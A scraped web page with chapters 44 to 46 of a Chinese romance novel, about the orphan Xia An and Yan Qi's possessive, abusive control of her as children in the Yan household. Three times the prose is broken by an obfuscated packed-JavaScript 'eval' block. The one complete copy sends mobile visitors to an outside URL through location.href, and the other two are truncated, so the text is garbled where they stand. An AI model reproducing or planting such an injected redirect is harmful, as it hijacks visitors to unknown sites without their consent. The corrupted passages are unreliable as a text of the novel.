王淑华看起来神情并不好,神色古怪的看着颜祈,两人的视线一上一下对峙着,紧接着珍珠也回来了,这才纷纷装作没事的样子互不干扰。 这天晚上回来,王淑华比平时更早的回了房间休息。 珍珠没有多问,隐约感觉应该是和蓝月岛有关的事情,最近事情发生的太多,王淑华因为忙的都没空发病,但她还是按照陈医生的医嘱,盯着王淑华把那些药全部吃了下去,才帮她关好灯。 快关门的时候,王淑华突然在黑暗中开口问:“你脖子上那个是他送给你的?” 珍珠手不自觉的抚上那个小盒子,嗯了声。 王淑华轻不可闻的叹息了一声,翻过身没再多说。 那条项链在她身上戴的太久,珍珠已经完全适应到会忘记掉自己还戴着的程度,听王淑华这么一说才记起,回到房间把那条项链取下来,指腹在旁边的机关处一按,珠子漏出华美圆润的光亮,在她的掌心处投下一片阴影。 珍珠侧伏在桌面上,看着那颗珠子不知道自己在想些什么。 自从她戴上这条项链后,很神奇的竟再也没做过那些可怕的梦,那些梦像是变了一种形式,犹如月光在水中倒影的另一面,破碎也曾盈满。 梦里他们好像回到小时候,两个人也曾追逐嬉闹,大人们在花园的喝茶聊天,还有个少年在旁边看书,虚幻交叠,可那些人却比和她一起玩游戏的小男孩面容更加模糊。 又或者,在她生命里清晰的人,从来就只有一个。 珍珠分不清这些梦境的真假,思考着要不然趁这段日子过去,等王淑华情绪再稳定点,她再去那些渔船上试试,也许反应不会再像以前一样严重,刺激刺激还能够想起点什么,毕竟她现在已经知道自己不是珍珠,总要找回自己的身份才行。 “叮叮——” 窗户处突然传来两下敲击声,最近夏虫开始销声匿迹,院子里静悄悄的,显得这两声格外清泠。 她抬头望去,磨砂雕花玻璃上竟出现了一团黄色的暖光,随后,有人在旁边轻轻呼了一口暖气,柔软的指腹在上面留下一个小小的笑脸。 珍珠有意晾着他,看他还能玩出什么新花样。 颜祈看着里面那一团模糊的影子明明都发现了,却没人给自己开窗,不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蓝月岛在新一轮日出里迎来了崭新的一天,颜祈照样早上跟着珍珠一起出门,王淑华冷不丁地在他们到门口时叫住了颜祈。 “帮我再挑两桶水去菜地。” “不是已经浇过水了?”哪天早上不是他挑过去的,肩膀都磨出茧子了。 王淑华:“那点水不够,最近地太干了,我今天还要翻土。” 人在屋檐下,不得不低头,颜祈只好让珍珠先去,说等下再过去找她。 珍珠到店照例在木板上写好今日招牌饮品,想了想又在旁边画上一只小狗和一只小兔子,正准备起来,身后传来一阵迟疑的脚步声。 “这么快。”她雀跃的转过头,却看到一个完全不认识的老太太,穿着衣着得体,年纪看着与王淑华不相上下,却显得年轻很多。 珍珠礼貌站起来询问道:“您好,请问要喝点什么?” 老太太瞳孔不敢置信的颤抖了两下,强压住情绪说:“就来第一杯那个吧。” “好的。” 珍珠低头熟练做好一杯椰子柠檬水递过去,回以礼节性的微笑:“您好,祝您用餐愉快!” 老太太听到这一句像是再也按捺不住,一行浊泪顺着凹陷的眼眶而下,保养得宜却又枯瘦的手紧紧抓住珍珠不放,语气悔恨地哽咽道:“小小姐。” 44. 第四十四章 那是对所有人来说都是异常混乱的一天,炙热的阳光不只可以刺破清晨的薄雾,也会刺破所有人内心的晦暗。 王淑华是早就想让颜祈离开的,哪怕最初她因为神志不清并未认出颜祈,甚至还默认了珍珠收留他,可是从他醒来的那一天,王淑华就把什么都记了起来。 偏偏颜祈装出一副失忆的模样,真假不知,王淑华动过很多次把他赶走的念头,但最终还是又一次默认了颜祈留在这个家里。 因为心虚,因为内疚,也因为那个女孩看起来实在太可怜。 她想,这也许就是天意,如果大家都忘了,愿意平静的生活下来未免不是件好事,这座房子已经快冷清的没有人气。 他们三个在某种时刻其实也算的上是公平,阴雨潮湿的天气,王淑华有时候也会忘记自己是谁,三个人窝在那个阳光不好的房间,有一搭没一搭的相互瞪眼。 但再差的天气也会有放晴的那一天,王淑华不是在跟颜祈协商,她没有留半分情面地说:“你现在就走,春山等下会把你送到岸上。” “凭什么我要走。”颜祈也不再伪装自己恢复记忆的事实。 “你做了什么自己心里不清楚!”王淑华冷笑一声。 颜祈强装镇定道:“什么意思?” “昨天下午别人都看见了,现在大家都知道你和那群恶人是一伙的,难道你还有脸待在这个岛上?我是阻止不了他们会对你做什么。”王淑华又重申一遍,“你走吧,趁他们还没有想好究竟要怎么对付你们。” “那我要带夏桉一起走。”颜祈毫不迟疑地提出要求。 王淑华愣了下神,才反应过来这是那女孩原本的名字,破口骂道:“你做梦,她是我的孙女。” “你孙女。” 颜祈听到这话失笑的重复了一遍,眼里浮上一抹阴翳:“你的孙女?你不会生病生傻把自己都骗了吧。” “一群骗子,我和他们是一伙的,那你们以为自己又是什么,你们明明就知道她不是,还骗她把她藏在这里,真把当自己个好人了?” “你们不过是把她当个替代品!” 他们相互控诉对方对夏桉造成的伤害,于是谁也没有发现,院子的门边上早就站着一个人。 “真把别人当傻子呢?你就是活该,害别人不够,还要害死自己的亲孙女——” “别说了。” 夏桉打断颜祈要说的话,冲过来扶住已经快被气晕的王淑华。 颜祈看到王淑华的脸色也有一瞬的慌张,但还是色厉内荏的把她从王淑华身边用力扯过来:“夏桉,你都听到了,他们就是在骗你。” “我们今天就走,这个破岛谁爱来谁来,我们出去就找医生,我一定会让你全部记起来的。” “你又好的到哪去?” 他们的尾音几乎同时结束。 这一刻,秋日的冷空气终于降临到蓝月岛之上。 夏桉直直地看着他,很不能理解的样子:“你不是也在骗我,你明明什么都想起来了。” 她甚至不知道颜祈是从哪一刻开始想起来的,他们所经历的那些又有几分真假? 如果说蓝月岛的人做的这一切是为了把她当作珍珠的替代品,那颜祈所做的这一切又是为了什么? 这个答案或许连颜祈自己也回答不上来,他不是应该要问责夏桉的吗,问她为什么要和颜淙订婚,可是为什么恢复记忆之后又不敢了。 如果这一切从来没有发生,夏桉和他都没有失忆,他找夏桉质问完又要做什么。 这些问题颜祈都没有想过,那些他以为大家心知肚明的事,他从未对夏桉言明的事,连他自己都困惑的事,或许一直以来只有他一个人在那样认为。 谢嘉不是第一天在他面前表现出对小渔的控制欲,他不是都看见了,所有人都发现两个小孩之间的关系有问题,可是他为什么从来没有觉得奇怪。 照镜子一样的行为都摆在他面前了,他也一次都没有制止过。 颜祈慢慢放缓了神情,觉得自己现在至少应该先做点什么先骗骗夏桉也好,毕竟她什么都不记得了,也许对过去那些事情并不清楚。 但夏桉在他之前开了口,她面无表情的看着颜祈:“我忘了,你一直都很喜欢骗我。” 颜祈的手被她甩开,其实夏桉用的力气并不大,颜祈比她高了快一个头,再加上这些天他一直在蓝月岛有受到特殊的锻炼,夏桉理应是挣脱不开的。 可是夏桉就是甩开了,他像突然承受不住似的还往后趔跷了一步,椅子在地板上剐蹭出刺耳的声音,一如当年那个寒冷的冬天。 …… “好可怜,她估计还不知道吧,大家都在骗她。” “可不是,听说司机当场就没气了,还当自己是大小姐过来玩呢,娇滴滴的,天天这不吃那不吃。” “我怎么听说她家上面还有个大伯?” “谁知道,这么久了也没见个人过来接,估计早就不想管了。” “不说两家还定了什么娃娃亲?” “这都什么年代了,谁还信这个,一个孤女能有什么婚约,你看小少爷那个样子,三天两头的捉弄她,怎么可能会喜欢她。” “那不是还有大少爷。” “不可能吧,大少爷比她大那么多。” 那一年,所有人都记得江州市的冬天格外寒冷,道路结冰,但这一切都和颜家没有什么关系,颜家的祖宅四季保持在恒温二十三度,可以供佣人们在厨房里肆无忌惮的背后议论着那个刚刚失去一切的小女孩。 夏桉如同灌铅浇筑般定在一墙之隔的走廊外,有人突然擒抓住她的胳膊。 她逆着光,看到颜祈的脸变得模糊,又在聚视下重新清楚,颜祈得意洋洋的抓着她,眼里的顽劣不加掩饰:“夏桉,我抓住你了。” 就像她当时还没完全反应过来那些佣人话里的恶意,夏桉同样也不知道颜祈会真的在未来很长一段时间都紧紧的抓住了她。 厨房里的佣人听到声音都纷纷尴尬的站了起来,椅子在地板上剐蹭的声音此起彼伏,这一年冬天,厨房里的人都被颜祈用吃坏肚子的招数换了一批新的。 夏桉没有察觉,她整天动不动就掉眼泪掉到颜祈心烦,然后在某一天晚上颜祈终于忍耐不住,冲过去拧开她的门吼道:“烦死了,你能不能睡觉。” 夏桉浑身被吓的一瑟缩,抱紧手里的兔子玩偶只敢捂着嘴巴闷闷地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可没过一会,他又有点不痛快了,觉得隔在他们之间那只小兔子碍着他握夏桉的手了,随手拿起那只夏桉从不肯主动让他碰的兔子玩偶就丢在地上。 白色的绒毛小兔在地上滚了一圈,落在前面飘进来的雨里,沾染上湿冷的水汽。 “这个破兔子不准再出现在我们两个之间。”颜祈皱起眉来,命令道:“不准哭,要不然我明天就把你赶出去,和这只破兔子一样。” 夏桉抿紧嘴唇,眼泪溢满了眼眶还是没忍住落了下来,颜祈摇摇头,叹着一口凭空而生的无奈之气,伸手给她抹眼泪。 他说:“夏桉,你真娇气。” 有他不就够了,还要让一只丑兔子挡着他们之间。 他像是有恃无恐一般要炫耀自己在这段关系里占据了绝对主导的胜利,握着夏桉的手,嘴里还唱着一首他自创的童谣,和她头抵头靠在一起。 颜祈看着她濡湿在下眼睑处的睫毛想,夏桉现在没人管教了,或许她会变得更加娇气。 夏桉看着就不是一个让人省心的孩子,他可能需要为夏桉不好好吃饭操心,不够听话感到烦恼,学校那几个小男孩看着就很让人讨厌,以前夏叔叔他们从来不管,或许现在就是个很好不让他们再来往的时机。 夏桉的小辫子也需要让他扎吗,学起来会不会很麻烦,他伸手摸了摸夏桉的头发,竟然和那只被丢在地上的兔子玩偶一样柔软,颜祈突然又想到,她好像到现在都还不会自己洗头发。 夏叔叔他们实在把夏桉养的太骄纵了,所以夏桉到现在还不会自己洗头发扎辫子,要让他去学,遇到事情也只知道哭,这样实在不好。 九岁这一年的春天,没有人再给夏桉过生日,她成颜祈专属的漂亮娃娃。 45. 第四十五章 夏桉在颜家长久的住了下来。 她把那个兔子玩偶拾起重新放回了床上,只是颜祈总是觉得它碍眼,每次看见了就往床下扔。 颜祈告诉她,兔子和她只能在房间里留一个,多么奇怪,那明明是夏桉的房间,可颜祈却让她做选择是自己滚出去还是兔子滚出去。 夏桉太怕在黑夜里被赶出去,只能抽抽搭搭的把兔子放在门口的靠墙边,后来那只兔子被颜祈当作胜利品摆在了自己房间的橱窗里。 除此以外,其实颜家对夏桉不错,两家本来就是旧交,对颜家夫妇而言,夏桉是他们儿时好友唯一的血脉,为此他们第一时间把夏桉接过来住的同时还特意捎上了那位从小带她的保姆。 保姆不是夏家原本的佣人,而是从小照顾夏桉母亲的保姆,所以在夏桉出生前,那位漂亮的新锐画家还专门回家把她请了过来。 那场交通事故闹的很大,温润如玉的钢琴家和才情出众的女画家在一场道路结冰的交通事故里双双去世,车上四人无一幸免。 作为警示,电视里轮番播放将近半个月,提醒观众们雪天注意交通安全。 夏桉没看到,电视的遥控器从来不会掌握在她的手上。 颜家商业版图宏大,颜家夫妇常年不在家,况且他们早就吩咐过佣人要照顾好夏桉,甚至在学校也安排好两个孩子在一个班里,颜祈虽然小脾气多,但是极其护犊子,自然也就没有再过多注意。 只是保姆太活在伤心的困境里,颜祈便自以为是的接过了教育夏桉的责任。 那年冬天夏桉发了好几次高烧,直到第二年夏至身体才逐渐好转,瘦伶伶的下颌尖显得玻璃球似的眼珠更大,她在这半年里听了很多安慰的话,可是那些话的份量就像是冬日呼出的热气,了无痕迹。 颜淙在那一年准备高考,高三和小学四年级作息时间截然不同,更多的时候,夏桉在家里只能看见颜祈。 颜祈一开始觉得养夏桉挺有意思的,他从小就讨厌那些不听话的猫猫狗狗,从来没养过任何宠物,但是却对养一个以前从来不爱和他玩的夏桉格外有耐心。 他很喜欢这种游戏,并且乐在其中,夏桉的衣食住行几乎都要经过他的手。 甚至连饭,都是他去喂给夏桉吃的。 事实上,那个时候夏桉已经隐约明白自己没有了那些骄矜的资本,她不吃也不会有人再追在她的后面哄她,保姆对她的厌恶也是流露表面,所以吃饭的坏毛病改了很多,但是颜祈觉得不够,觉得她吃饭就跟小鸡啄米一样,傻乎乎又很笨拙。 更多的,他做很多事情都是抱着一种纠错的想法,夏桉自己变乖,这在他看来并不合理,颜祈甚至有点不满,娇气如小公主的夏桉怎么能什么挫折都没有经历就变成他要改变的样子? 他让厨佣一连半个月都把饭菜全部换成夏桉最不喜欢的那些,水果零食也全部不准摆出来,在夏桉只能干巴巴捡着碗里的白米时,颜祈很是苦恼的端过她的碗拿勺子喂道:“夏桉,你真是长不大,怎么四年级了还挑食?” 颜祈板着一张用心良苦的脸,一边给夏桉喂饭一边教育她,好似夏桉这些微不足道的小毛病真的很让他发愁。 在九岁的颜祈看来这并没有什么不对,夏桉现在住在颜家,理所应当就要听他的话。 他满足于改造夏桉的过程。 但不能接受夏桉跳过他想要改造的那一部分。 大抵是他们第一次见面时,夏桉没有表现的很想和他一起玩,而是躲开他的手嘟着嘴不高兴开始,颜祈在她身上还有一点征服欲。 夏桉就像颜祈小时候在公园里因为好奇去抓的那只小猫,连猫尾巴都没摸着还反被挠了一下,后来有天她突然就落入了颜祈的手里。 意料之外,又兴致正浓。 颜祈没把这看作是一种驯服,他觉得他只是在对夏桉好而已,帮助她改掉身上那些臭毛病,他在践行母亲和他说的话,和夏桉成为最好的朋友。 夏桉那个时候也没觉得有什么不对,自从参加完葬礼后,她就经常害怕的不敢一个人睡觉,这时候显得已经把她的床三分之二占为己有的颜祈看起来是一个很可靠的存在。 况且那个时候颜祈也没有表现出自己奇怪的占有欲,在她身边只能看到颜祈的时候,夏桉就已经无形之中交付出了自己的一部分依赖。 中途余薇回来了一趟,她按照丈夫的意思给夏桉找了新的钢琴老师,有点女承父业的意思。 从前夏桉的钢琴都是父亲亲自教的,加上她那个时候年纪尚小管的也不够严厉,现在中间还断了半年多,但靠着与生俱来的天赋她还是很快跟上了老师的进程。 夏桉是那位严肃的女老师带的第一位学生,对待这种有天赋的孩子自然是加倍严格要求。 颜祈周末有一大半时间能听到她在琴房里练琴,没过多久夏桉就报名参加了一场比赛,老师对她的期望很高,光是找一首合适的参赛曲子两个人就讨论了好几天。 选来选去,最后还是选了那本从夏家带来的琴谱里一首原创的曲子。 比赛的时间定在十一月下旬,夏桉练琴的时间变得越来越多,属于颜祈的时间越来越少,尽管不练琴的时候,夏桉除了写作业其余时间全部留给了颜祈。 那天颜祈得了一个新的汽车玩具,可是夏桉却没有准时下课回房间陪他玩。 老师选的那首曲子对夏桉来说难度不小,中间有好几处连音她都处理的都不够完美,以至于加练到后面夏桉自己都产生了挫败心理,和老师在琴房里闹起别扭。 老师并没有降低对她的要求,而是表情凝重的抽了她的掌心,让夏桉一遍一遍从头开始,直到加练完还给她布置了别的作业,说明天检查。 夏桉本质不过就是一个小孩,虽然不情愿但是也不敢不听老师的话,更何况这个老师还是余薇专门帮她请来的,周围人说的话她又不是听不懂,寄人篱下四个字还是知道怎么写的。 这个时候她已经不用再需要颜祈强调了,周围人的眼神也会时时刻刻告诉她,住在别人家你要听话。 除了听话,她一无是处。 所以直到下午,夏桉还一个人红着眼睛留在琴房里。 颜祈冷着面孔来到琴房,一把按在黑白键上:“不准练了,你现在应该陪我玩。” 安静的琴房回荡着纷杂的琴音,那是夏桉在知道父母离世后第一次无视颜祈的要求,尽管以前这种事情在他们之间不过是家常便饭,但是颜祈已经太久没有见到不听他话的夏桉了。 夏桉在此后的很多年都记得颜祈那个表情,就像是变了一个人,让她无比陌生和害怕。 颜祈脸上透着几分不符合年纪的阴沉,抢过摆在上方的琴谱决定给夏桉一点教训,他打开窗户不作停留地朝外面扔去,夏桉抢不过他,反被他推倒在地上。 她跌倒在光洁的木地板上,头顶耀眼的水晶吊灯晃的她睁不开眼。 颜祈居高临下的看着她,开始感觉带孩子是一件很麻烦的事,特别是夏桉这种被娇惯长大的孩子。 哭,又哭,她好像除了哭什么也不会。 为什么夏桉总是长不大,她成长如此缓慢,怎么能够跟上自己的进程。 他很不能理解的看着夏桉,自己明明是为了她好,她为什么要哭,她不是也练的很不高兴吗,那个老师还总是很凶,会打她的手心。 而且她明明答应了今天会陪他一起玩小汽车。 是夏桉毁约在先。 颜祈决心要给夏桉一点真正的惩罚,他叫着佣人抓住夏桉,用没有起伏的声音看着她说:“既然你这么不听话,那我只好把你赶出去了。” 颜淙在省外参加竞赛,余薇夫妇正忙着扩张自己的海外版图,绝大多数时间偌大的一个颜家都是全凭颜祈做主,所有人都知道这个小少爷性格有多乖戾,但是没有一个人会站出来为一个寄养的孩子说话。 夏桉骤然睁大了眼,眼珠一颗颗滚落,整个身子在佣人的怀里用力挣动。 她被架着走到花园里,眼泪朦胧中看到那本琴谱泡在喷泉里,宽大的纸页吸饱了水,慢慢往下沉,像一块灰色又碍眼的石头,静静躺在精美雕花的喷泉池底。 走到门口的时候,夏桉终于相信颜祈说的都是真的,哭闹着双腿在佣人身上蹬了好几脚,惊惧异常,佣人吃痛的只能箍着她的手往外拖。 夏桉就这样真的被赶了出去,她看到颜祈站在门里,背后那座古堡一样的房子也开始变得模糊,颜祈没什么表情的吩咐佣人关门。 她慌乱的看着即将落锁的大铁门,冒着被夹住的风险不管不顾又跑了进去,她承受不住也可能是一种服软,夏桉喘不上气似的紧紧抱住颜祈。 当时夏桉纯属吓坏了,是一种应激的讨好反应,她从来没被惩罚过,脑海里突然想起以前她和颜祈产生矛盾时大人们都是这样做的,让他们抱一抱就算是和好了。 颜祈心里有一种很怪异的情绪经过,原来夏桉是真的如此需要他,毕竟以前的夏桉抱他的时候都是一脸的不情愿。 他勉强算是接受夏桉的讨好,但是为了让夏桉印象再深刻点,以后不要再犯这种错误,他推开夏桉不痛不痒道:“可是,我还是要给你一点惩罚。” 颜祈说这话的时候脸上看不出什么喜乐,他望着夏桉,就像是真的为了夏桉好。 夏桉被关进了离老宅最远的一间杂房里,颜祈说这样她才能记住教训,如果下次还是不听话,就不是被关在这间屋子里,而是真正的被赶出去。 夏桉今天受过的惩罚太多了,她以为自己主动求和会换来颜祈的谅解,结果下一刻又被颜祈关在一间布满灰尘的屋子里,连一个可以落脚的地方也没有。 她拍打着那扇木门,只有空气里飞腾的灰尘在回应她。 夜色四合,那本来就是间无人光顾的杂房,谁也不记得还要给夏桉开灯。 夏桉被一直关到了晚上十一点,颜祈觉得小朋友不能熬夜才放她出来,这个时间已经过了他们平时的休息时间,惩罚足够了。 那天晚上夏桉没有吃饭,尽管颜祈让厨房做了许多她爱吃的东西,但夏桉哭到上不接下气吃不下任何东西。 她躺在被子的一角止不住的颤抖,颜祈好奇也钻进了被子里,看到她身下的枕头都半湿了,他伸过手,夏桉身子猛地往后面缩了一下。 颜祈表情疑惑又朝她凑近了点,夏桉哆嗦着接着往后退,两人一来一回,夏桉从床上掉了下去。 颜祈愣了一瞬,从床上跳下来扶她,结果夏桉飞快的钻进了床底。 他趴在地上朝里看,看到夏桉的模样突然了然的笑了一下,也跟着爬进床底,恍然大悟的说:“原来你是在跟我玩游戏啊。” 可是颜祈觉得这个游戏并不好玩,虽然房间里垫了地毯也开了空调,可是床底下看起来脏兮兮的还很暗,这种地方怎么能够睡觉。 但是他决定先哄一哄夏桉,毕竟现在看起来夏桉很生气,她好像又变回以前那样不愿意和自己玩的样子。 颜祈无可奈何一般擦掉她的眼泪:“夏桉,跟我道歉。” 他说:“是你没有准时去游乐房里陪我玩的。” 夏桉看着他就像在看一个可怖的怪物,在这个无处可躲的房间里她本能的感觉到危险的存在,吃过一次苦头也长了些教训,害怕的嗫嚅道:“对不起。” 颜祈眼睛亮了起来,终于说出那句早就应对好的话:“我原谅你。” 他凑过去说悄悄话一样离夏桉很近,像白天一样抱了抱她算作和好,手在她的后背轻轻拍着:“但是你今晚没吃饭,这很不听话,明天要听话好吗?” 夏桉颤抖着乖顺的点点头。 这一段谈话平静温馨,只可惜夏桉的眼泪从头至尾都没有停过。 颜祈只好妥协道:“我们出去好吗,如果你不听话我真的会不要你的。” “你难道想我真的把你赶出去吗,外面这么黑,我也不知道怪物究竟会藏在哪个角落里,他们最喜欢你这种长的的漂亮的小孩子,也许一口就能吃掉一个,还是你想回到那个黑屋子里。” 他把太怕被抛弃,也可能是被唬住的夏桉终于拉回了床上,颜祈困倦的占据床的三分之二,不明白夏桉为什么要哭成这样,他又没真的把她赶出去,只不过是吓吓她而已,那个杂房虽然离住宅区很远,但是又没有真离开颜家。 他协商一样和夏桉说:“别哭了好吗,我要睡觉了。” 夏桉立马捂上嘴巴,好像这样就可以不发出声音。 颜祈早就到了生物钟的点,没一会陷入了深度睡眠,直到半夜因为口渴,他想叫夏桉陪他一起出去喝水,手下意识一推,发现旁边的被子已经凉了。 凌晨三点,颜家的院子灯火通明,颜祈生气的让所有人都去找夏桉,翻遍了整栋别墅,最后调监控才在喷泉池的墙角里找到了她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093562|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏桉缩在墙角嘴唇惨白,琴谱滴落的黑色水痕和她纯白的睡衣裙摆洇成一块。 颜祈觉得夏桉真是一点也记不住教训,她竟然敢偷偷去喷泉里捞琴谱,但是他这次没办法惩罚夏桉,因为夏桉又生病了。 白日里受了惊吓情绪大起大落,又在没灯的杂房里哭着关了半天,现在本来就是深秋,夜里的气温不过几度,她还下水去捞琴谱,本来才转好的身子又落下了病根。 颜祈后知后觉有点害怕,他发现如果夏桉生病会失去更多陪他玩的时间,而且夏桉生病的时候好像更爱哭了,泪水总是会顺着眼眶流下来,他擦都擦不完。 夏桉发高烧的时候还会说梦话,嘴里嘀嘀咕咕的在说些什么,有时候还会叫他的名字,然后又叫爸爸妈妈。 颜祈觉得这是一个好兆头,看来在夏桉的心里,他已经和父母一样重要,才会经常出现在夏桉的梦里,从来没有想过夏桉那些的噩梦全都是和他有关。 那场比赛夏桉没能去参加,尽管后来颜祈又送了她很多新的琴谱,她也没有再碰过钢琴。 等夏桉退烧的时候,颜淙终于从外省回来了,他看着那个跟没了生气一样的漂亮小姑娘,把颜祈狠狠的揍了一顿,余薇也从国外打电话把颜祈批评了一顿。 为了弥补夏桉,也为了修补两个小孩之间的友情,颜淙提出让夏桉邀请朋友来家里玩。 那个时间段正好是颜淙的生日,他很有耐心的征询道:“可以吗?” 夏桉垂头扣着手指,不敢告诉颜淙其实她在班上并没有什么好朋友。 但夏桉最终还是邀请了一个,那个看上去不是很怕颜祈的班长,他说话的时候总是很温柔,对班上的每个人都很好,或许能勉强算她的朋友。 夏桉送了颜淙一幅自己画的画作为生日礼物,颜淙看完,蹲下来笑着摸摸她头:“这是你画的吗,真漂亮。” 颜祈的耐心再次告罄,他觉得夏桉怎么这么久还不知道讨好谁,天天跟在颜淙后面叫哥哥,她难道不知道颜淙马上就要出去读大学了? 只有他才会陪夏桉住在这里,而且他竟然还不是夏桉唯一的朋友,他对夏桉那么好,为什么夏桉还如此不知道感恩不听话。 但那是颜淙的生日,他不敢真的发脾气。 而且因为上一次的事情,夏桉最近不愿意和他说话,十天之后就是他的生日,他希望收到夏桉最好的礼物,还有,站在她旁边的班长看起来真的很讨厌。 颜祈想,如果夏桉送给他的礼物比颜淙的更好,或许他可以原谅夏桉一次。 切蛋糕的时候,颜淙把切刀递给他们两个,希望以此作为契机让他们和好。 颜祈把切的最漂亮的那一块留给了夏桉,上面有一颗最鲜红的草莓,夏桉没接。 他露出受伤的神情:“难道你永远都不愿意和我说话了吗?” “夏桉,我们不是最好的朋友吗,好朋友就算生气了也是可以和好的吧,我不是已经送了你很多新的琴谱?上次的事情是我不对,只是我实在太生气了,毕竟是你先失约的对不对,而且那个老师很不好,她总是在凶你,我只是为了保护你而已。” 他抬头目光恳切:“所以我们都有错,可是我已经原谅你了,你不是也应该要原谅我吗?” 夏桉被他说的晕头转向,但是隐约听着颜祈好像是在道歉,况且颜祈生气确实很可怕,她想了想,还是接过颜祈那一块蛋糕。 十日转瞬即逝,夏桉别别扭扭走到他的面前,送了一幅专门给颜祈的画的画。 那委实是夏桉能拿出来最有诚意的礼物,颜家来接她的时候,保姆以为只是过去玩几天而已,只在箱子里放了一些她的衣服,后来很多关于她的东西都是她那个没见过两次面的大伯母给整理寄来的,多是些衣服之类的日常用品,打开行李箱找不出一件值钱的东西。 颜祈抬起眼质问道:“为什么我和颜淙的礼物一样?”而且颜淙那副比他的颜色要多很多。 他没有给夏桉买彩笔吗,几百个颜色,为什么到他的画上就只有五六种。 这样公平吗?颜淙什么也没做,却能得到比他更好的礼物,班长不过跟她说了几次话,他们就也是最好的朋友。 他对夏桉那么好,有新的玩具好吃的都是第一时间分享给她,喂她吃饭哄她睡觉,不过就是对她管教了一次,夏桉就开始这么敷衍他。 “小没良心。”颜祈这样说道。 颜祈又一次单方面的和夏桉生气了,与此同时,班长在班上被卸职了,理由是好几个班上和他没交集的同学去了班主任那说班长欺负他们。 尽管班主任看着自己引以为傲的学生并不相信他们说的话,但考虑到班上的班风问题,班长还是重新选举了一次。 夏桉起初并没有察觉到这件事情和自己有关系,直到有次老师口头布置一个作业她没听清楚,想找个人去问问的时候,她才发现班上竟没有一个人愿意和她说话。 不仅如此,老宅的人也不会和夏桉说一句话,她明明生活在一个有声的世界里,却得不到任何的回应。 她偏过头,看到颜祈漠然直视她的眼神,他明晃晃的在透露着生气的情绪。 那次作业班主任考虑到她平时听话,家里又出了那样的事并未做出惩罚,但在一个四年级的小孩眼里,完不成作业就是犯了天大的罪,老师很有可能会告诉余薇他们。 夏桉很长一段时间都惴惴不安,她终于明白,惹颜祈生气是一件很严重的事。 她开始懂得去讨好颜祈,潜意识告诉她只有这样颜祈才不会去找她的麻烦,后来夏桉又给他画了好多幅画,身边的人才像终于发现夏桉的存在,开始会回答她的问题。 这一年的年末,或许是因为上次夏桉被关小黑屋吓坏的事情导致身体一直不好,总是动不动就经常发热,颜淙在紧张的学习里还是抽出了一些时间去关注夏桉。 只是颜淙向来不会和小孩相处,他对颜祈的那些手段和严厉自然不能用在夏桉身上,在他眼里,夏桉这一年的性子转变的很大,明明才九岁的年纪却经常会表现出不符合年纪的忧愁,那些事情放在一个成年人身上尚且不能接受,更何况只是一个小女孩。 毕竟也是看着长大的小姑娘,为了怕颜祈再闹出像之前的那样事情和父母不好交代,他对夏桉的关注多了很多。 等到颜淙发现的时候,两个小孩已经住在一起快一年了。 46. 第四十六章 颜家的佣人都住在旁边的副楼里,他们的房间又相邻,过去的一年竟然没有一个人发现这个问题。 虽然两个小孩凑起来的年纪才刚刚成年,但这毕竟不合规矩,况且外面一直风言风语,对夏桉借住在颜家的身份多有猜测,颜淙不管是从哪个角度思量都不能再容许这种事情发生。 颜淙对夏桉还算有耐心,更何况这本来就是她的房间,一脸不服气的颜祈显然才是那个鸠占的人。 颜祈被颜淙劈头盖脸一顿训斥,赶回了房间。 深夜,颜家老宅又恢复了往日的宁静,颜祈却在床上怄气的睡不着,他觉得颜淙多管闲事,夏桉本来以后就要嫁给他,轮得到颜淙做主吗。 他年纪尚小,还不懂得那些字眼里所代表的责任,只是周围人连带着班上的同学都是这样说的,他们说夏桉是他的‘童养媳’,长大以后是要嫁给他的。 那他为什么不能和夏桉住在一起,而且夏桉那个爱哭鬼晚上睡觉有些时候也会偷偷掉眼泪,她敢一个人睡? 颜淙就是在嫉妒他,冬天一个人睡太冷了,颜淙不想让他也好过。 正当颜祈思索怎么溜过去的时候,夏桉抱着枕头自己过来了,她站在门口,宽松的睡裙套在瘦伶伶的肩胛骨上就像一个巨大的罩袍要把她吞没。 颜祈一脸我真是拿你没办法的表情,从床上故作烦躁的下来:“夏桉,你怎么变的这么黏人。” 夏桉不知道他为什么要这样说,又或许颜祈其实说的也没错,这个时候的夏桉在接受完被迫失去父母之后,又被颜祈真正抛弃过一次,之前一天二十四小时又都是和颜祈待在一起,乍然分开让她恐慌,房间的窗帘总是会轻轻晃动,后面很像会有颜祈在她耳边说的那些怪物。 她对颜祈恐惧,可是半夜惊醒能依赖的人也只有颜祈。 但颜祈觉得就是这样,他在夏桉那里总有很多第一想要争取,所以对夏桉这些需要他的举措很受用。 他无可无不可的抱了一下夏桉,又立马松开,嘘了一声悄声说:“好了,你先回去,我马上就过来。” 尽管颜祈并不觉得自己的行为有什么问题,但是颜淙教训起人太严肃了,此后很长一段时间颜祈都有特意避开他。 夏桉在颜家住的第二个春天,余薇给她请了一位绘画老师,这次她留了个心眼,请了一位还在美院读书的高材生,那个女孩的资历不错,绘画上不仅跟着颇有造诣的系院长,还辅修了儿童心理学。 余薇告诉她家里孩子学习只是为了培养兴趣爱好,不要让她有太大压力,希望实行鼓励教育。 过去一年发生的事情太多,导致她再见到夏桉时都有些意外,那样娇滴滴的小姑娘,怎么突然变成这副怯生生的小模样。 她不知道是哪里出了问题,竟然让那样一个在所有人手心里娇宠的小姑娘,短短一年时间发现这样的突变。 余薇偏头看见草坪上正在热心教夏桉玩玩具汽车的小儿子,狐疑不解。 